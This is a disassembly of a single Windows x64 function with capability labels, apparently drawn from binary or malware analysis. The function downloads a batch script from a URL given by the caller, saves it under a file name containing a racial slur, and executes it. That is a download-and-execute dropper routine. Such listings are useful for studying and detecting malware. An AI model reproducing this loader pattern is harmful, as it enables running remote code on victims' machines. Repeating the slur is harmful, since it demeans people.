Function at 0x1400382f0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov rax, qword [0x14012f0c0]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rbx, rdx
mov rsi, rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
xor edi, edi
mov qword [rbp + 0x27], rdi
mov qword [rbp + 0x2f], rdi
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], di
jne 0x14003832d
lea rcx, [rbp + 0x17]
call fcn.14003d504
nop
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova rcx, qword [rbp + 0x17]
mov rax, qword [rbp + 0x27]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x140038364
lea rcx, [rbp + 0x17]
call fcn.14003c5c0
lea rdx, str.bitchnigga.bat
lea rcx, [rbp + 0x17]
call fcn.14003cc54
lea r8, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova r8, qword [rbp + 0x17]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov esi, eax
test eax, eax
js 0x140038450
lea rdx, str.Batch_script_downloaded_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14003ce58
lea rdx, [0x14003cfe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp - 0x59], reloc.WS2_32.dll_WSASetLastError
xor edx, edx
lea r8d, [rdx + 0x6c]
lea rcx, [rbp - 0x55]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova rax, qword [rbp + 0x17]
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x31], rbx
mov dword [rbp - 0x29], edi
lea rcx, [rbp - 0x59]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140038427
lea rdx, str.Batch_script_started_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14003ce58
lea rdx, [0x14003cfe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dil, 1
jmp 0x14003849f
lea rdx, str.Failed_to_start_the_batch_script._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14003ce58
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
jmp 0x14003848e
lea rdx, str.Failed_to_download_the_batch_script._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14003ce58
lea rdx, [0x140036b54]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, esi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140036b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [0x14003cfe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x17]
call fcn.14003cbf0
mov al, dil
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400a1580
mov rbx, qword [rsp + 0x100]
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret